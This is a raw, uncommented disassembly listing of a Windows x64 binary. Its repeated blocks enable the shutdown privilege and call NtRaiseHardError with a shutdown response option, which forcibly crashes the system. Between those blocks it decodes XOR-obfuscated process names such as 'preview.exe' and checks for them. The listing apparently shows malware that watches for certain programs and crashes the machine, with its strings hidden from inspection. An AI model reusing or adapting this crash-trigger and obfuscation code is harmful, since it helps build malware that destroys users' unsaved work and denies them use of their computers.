call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
movdqa xmm0, xmmword [0x1400fa5a0]
movdqu xmmword [rbp - 0x59], xmm0
mov word [rbp - 0x49], 0x5c
mov byte [rbp - 0x47], 1
mov rcx, rsi
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0x11
jb 0x14004ad40
mov byte [rbp - 0x47], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004ad70
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004adcf
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004adca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004aec6
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x5a4e5859
mov dword [rbp - 0x55], 0x1e584b44
mov dword [rbp - 0x51], 0x564a54
mov byte [rbp - 0x4d], 1
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xb
jb 0x14004aef0
mov byte [rbp - 0x4d], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004af20
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004af7f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004af7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004b076
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x414e425d
mov dword [rbp - 0x55], 0x1e4e4a44
mov dword [rbp - 0x51], 0x564a54
mov byte [rbp - 0x4d], 1
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xb
jb 0x14004b0a0
mov byte [rbp - 0x4d], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004b0d0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004b12f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b12a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004b226
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x4f4a584a
mov dword [rbp - 0x55], 0x484a0046
mov word [rbp - 0x51], 0x54
mov byte [rbp - 0x4f], 1
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 9
jb 0x14004b250
mov byte [rbp - 0x4f], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004b280
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004b2df
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b2da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004b3d6
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x4f4a584a
mov dword [rbp - 0x55], 0x1e4b4b46
mov dword [rbp - 0x51], 0x564a54
mov byte [rbp - 0x4d], 1
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xb
jb 0x14004b400
mov byte [rbp - 0x4d], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004b430
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004b48f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b48a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004b586
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x58445859
mov dword [rbp - 0x55], 0x595b4d48
mov dword [rbp - 0x51], 0x511d5c5e
mov dword [rbp - 0x4d], 0x100534d
mov rcx, rsi
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xe
jb 0x14004b5b0
mov byte [rbp - 0x4a], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004b5e0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004b63f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b63a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004b736
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x4d4e5e5a
mov dword [rbp - 0x55], 0x484a0041
mov word [rbp - 0x51], 0x54
mov byte [rbp - 0x4f], 1
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 9
jb 0x14004b760
mov byte [rbp - 0x4f], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004b790
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004b7ef
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b7ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004b8e6
call fcn.1400491c0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0xc6a6e60
mov dword [rbp - 0x55], 0x534e5c6e
mov dword [rbp - 0x51], 0x4c561c5a
mov word [rbp - 0x4d], 0x50
mov byte [rbp - 0x4b], 1
mov rcx, rsi
nop dword [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xd
jb 0x14004b910
mov byte [rbp - 0x4b], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004b940
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004b99f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b99a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004ba96
call fcn.1400491c0
mov ecx, 0x898
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x1a4a4e40
mov dword [rbp - 0x55], 0x484a0019
mov word [rbp - 0x51], 0x54
mov byte [rbp - 0x4f], 1
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 9
jb 0x14004bac0
mov byte [rbp - 0x4f], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004baf0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004bb4f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bb4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004bc46
call fcn.1400491c0
mov ecx, 0x8ca
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x7c5f454d
mov dword [rbp - 0x55], 0x6444b48
mov dword [rbp - 0x51], 0x4c561c05
mov word [rbp - 0x4d], 0x50
mov byte [rbp - 0x4b], 1
mov rcx, rsi
nop dword [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xd
jb 0x14004bc70
mov byte [rbp - 0x4b], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004bca0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004bcff
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bcfa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004bdf6
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
